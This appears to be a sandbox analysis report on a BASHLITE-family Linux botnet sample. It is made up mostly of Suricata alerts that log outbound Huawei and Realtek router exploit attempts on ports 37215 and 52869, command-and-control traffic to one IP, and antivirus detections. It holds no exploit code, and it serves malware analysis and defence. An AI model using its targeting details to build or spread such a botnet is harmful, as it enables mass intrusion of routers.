2024-12-04T20:35:31.826268+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48548	197.53.132.193	37215	TCP
2024-12-04T20:35:31.840038+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37682	197.31.230.165	37215	TCP
2024-12-04T20:35:32.043138+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43640	156.200.142.84	37215	TCP
2024-12-04T20:35:32.043179+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55746	197.31.104.48	37215	TCP
2024-12-04T20:35:32.058898+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51594	197.247.189.144	37215	TCP
2024-12-04T20:35:33.043545+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59562	197.6.75.25	37215	TCP
2024-12-04T20:35:33.043581+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33842	156.53.147.140	37215	TCP
2024-12-04T20:35:33.043652+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42078	156.167.67.84	37215	TCP
2024-12-04T20:35:33.059311+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59338	41.19.203.199	37215	TCP
2024-12-04T20:35:33.277735+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42062	41.172.186.0	37215	TCP
2024-12-04T20:35:33.293587+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34650	197.230.207.228	37215	TCP
2024-12-04T20:35:34.543278+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39158	156.18.21.126	37215	TCP
2024-12-04T20:35:34.543327+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34720	156.132.250.6	37215	TCP
2024-12-04T20:35:34.559694+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49332	156.212.119.57	37215	TCP
2024-12-04T20:35:34.559840+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50040	156.67.238.235	37215	TCP
2024-12-04T20:35:34.560051+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44580	156.89.62.180	37215	TCP
2024-12-04T20:35:34.560344+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50602	156.207.106.226	37215	TCP
2024-12-04T20:35:34.560716+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57730	41.76.235.175	37215	TCP
2024-12-04T20:35:34.560793+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46170	41.153.89.180	37215	TCP
2024-12-04T20:35:34.560978+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56794	156.211.102.64	37215	TCP
2024-12-04T20:35:34.561114+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46838	197.143.213.74	37215	TCP
2024-12-04T20:35:34.561328+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45508	156.127.38.45	37215	TCP
2024-12-04T20:35:34.561553+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34360	156.138.17.29	37215	TCP
2024-12-04T20:35:34.561640+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33512	197.132.204.74	37215	TCP
2024-12-04T20:35:34.561804+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54266	41.8.174.199	37215	TCP
2024-12-04T20:35:34.561905+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44264	156.133.80.79	37215	TCP
2024-12-04T20:35:34.562158+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47128	41.251.141.151	37215	TCP
2024-12-04T20:35:34.562284+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57888	197.247.38.50	37215	TCP
2024-12-04T20:35:34.562459+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46530	197.61.7.121	37215	TCP
2024-12-04T20:35:34.562573+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50924	197.174.88.231	37215	TCP
2024-12-04T20:35:34.562754+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56834	197.8.154.21	37215	TCP
2024-12-04T20:35:34.562962+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35060	41.7.217.186	37215	TCP
2024-12-04T20:35:34.563245+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51116	197.43.197.188	37215	TCP
2024-12-04T20:35:34.563658+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60372	41.252.138.210	37215	TCP
2024-12-04T20:35:34.563778+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35264	197.186.126.37	37215	TCP
2024-12-04T20:35:34.563889+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53618	156.35.116.226	37215	TCP
2024-12-04T20:35:34.564027+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36580	197.148.122.171	37215	TCP
2024-12-04T20:35:34.564307+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58668	41.50.208.159	37215	TCP
2024-12-04T20:35:34.564387+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39490	41.204.102.198	37215	TCP
2024-12-04T20:35:34.564531+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45496	156.134.1.178	37215	TCP
2024-12-04T20:35:34.564692+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36966	41.217.237.99	37215	TCP
2024-12-04T20:35:34.778040+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49632	41.219.131.16	37215	TCP
2024-12-04T20:35:34.778230+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37400	197.43.238.222	37215	TCP
2024-12-04T20:35:34.794511+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40910	156.238.77.52	37215	TCP
2024-12-04T20:35:34.825210+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39918	156.184.212.183	37215	TCP
2024-12-04T20:35:34.825218+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55916	197.118.177.32	37215	TCP
2024-12-04T20:35:36.060168+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47888	156.217.216.3	37215	TCP

ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T20:34:24.896710+0100	2839490	1	Malware Command and Control Activity Detected	192.168.2.14	52294	179.43.154.140	420	TCP
2024-12-04T20:35:01.976821+0100	2839490	1	Malware Command and Control Activity Detected	192.168.2.14	57346	179.43.154.140	420	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86.elf

ReversingLabs: Detection: 71%

Machine Learning detection for sample

Source: x86.elf

Joe Sandbox ML: detected

Spreading

Opens /proc/net/* files useful for finding connected devices and routers

Source: /tmp/x86.elf (PID: 5488)

Opens: /proc/net/route

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.14:52294 -> 179.43.154.140:420
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47200 -> 156.246.142.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59686 -> 156.73.153.242:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:49264 -> 41.155.199.182:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49360 -> 41.54.125.212:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:55648 -> 41.118.64.160:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51048 -> 41.165.7.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50822 -> 41.53.67.33:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43260 -> 156.143.161.42:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34758 -> 156.29.51.142:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:53662 -> 156.33.126.151:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:48420 -> 41.169.164.75:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42552 -> 41.187.237.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44220 -> 156.127.38.166:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45946 -> 197.57.17.249:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:44106 -> 156.53.32.243:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36106 -> 156.126.215.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36750 -> 156.154.217.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39600 -> 197.33.215.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33068 -> 41.135.60.103:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34958 -> 197.149.191.62:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:49726 -> 41.225.238.214:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40064 -> 41.43.4.149:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:54712 -> 156.39.9.64:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:49792 -> 156.169.0.109:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52386 -> 197.83.103.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50752 -> 197.94.90.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59506 -> 197.38.238.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49034 -> 197.140.98.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53988 -> 156.122.160.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59160 -> 197.196.137.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45732 -> 197.7.149.248:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35244 -> 41.47.150.192:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37872 -> 197.192.58.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39594 -> 41.142.203.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45444 -> 197.143.6.121:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:56986 -> 41.58.254.48:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43520 -> 41.40.186.136:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37004 -> 197.89.67.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33408 -> 156.191.184.73:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:42220 -> 197.245.120.181:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40704 -> 156.66.149.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60804 -> 156.115.90.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58000 -> 197.208.202.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44382 -> 156.164.50.81:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34854 -> 197.182.194.233:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:55812 -> 41.9.114.218:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34282 -> 197.252.2.42:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56966 -> 156.144.78.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38744 -> 197.52.167.29:37215
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.14:57346 -> 179.43.154.140:420
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35434 -> 156.14.52.238:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48552 -> 41.58.47.240:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:51178 -> 156.38.80.18:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34214 -> 197.225.187.90:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48694 -> 156.252.14.26:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38322 -> 156.57.204.55:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:37282 -> 197.57.115.154:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38248 -> 156.144.80.131:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:41296 -> 41.227.45.14:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:40356 -> 156.241.162.13:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56396 -> 156.192.76.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36744 -> 197.150.205.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33222 -> 156.220.14.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45076 -> 197.252.48.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57858 -> 197.234.105.12:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45594 -> 197.124.112.162:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:36646 -> 197.42.126.107:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:52762 -> 41.242.233.85:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:38928 -> 156.128.213.48:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:48916 -> 156.108.206.135:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:52092 -> 41.248.145.172:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43074 -> 41.80.9.17:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:51194 -> 41.58.74.103:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:47366 -> 197.145.135.188:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:48534 -> 41.217.138.49:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:51538 -> 41.135.143.86:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:59386 -> 41.248.173.78:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:34988 -> 156.201.159.17:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37222 -> 197.21.113.211:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:54682 -> 156.125.216.186:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35638 -> 197.66.208.240:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:35712 -> 41.136.228.87:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:59658 -> 197.12.30.212:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43216 -> 41.28.240.86:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:60472 -> 197.137.72.234:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:58844 -> 197.194.67.63:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:55576 -> 197.40.26.156:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:45862 -> 156.185.93.9:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:39920 -> 156.25.128.120:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46614 -> 156.1.54.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46996 -> 156.217.189.19:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:43186 -> 156.210.85.238:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55650 -> 41.209.126.36:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:39152 -> 41.184.229.131:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:39074 -> 41.195.158.255:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32854 -> 197.65.163.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57538 -> 197.230.202.242:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:57452 -> 41.232.57.31:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53474 -> 156.29.250.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41132 -> 197.129.51.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33170 -> 41.73.216.161:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.14:46056 -> 41.10.197.52:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33694 -> 197.216.152.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51990 -> 156.106.40.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54036 -> 156.18.28.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43638 -> 41.247.75.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38822 -> 41.166.22.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60902 -> 156.95.204.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46794 -> 197.250.112.205:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55478 -> 41.105.158.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41240 -> 41.134.48.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37292 -> 41.115.233.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38586 -> 156.195.236.32:37215
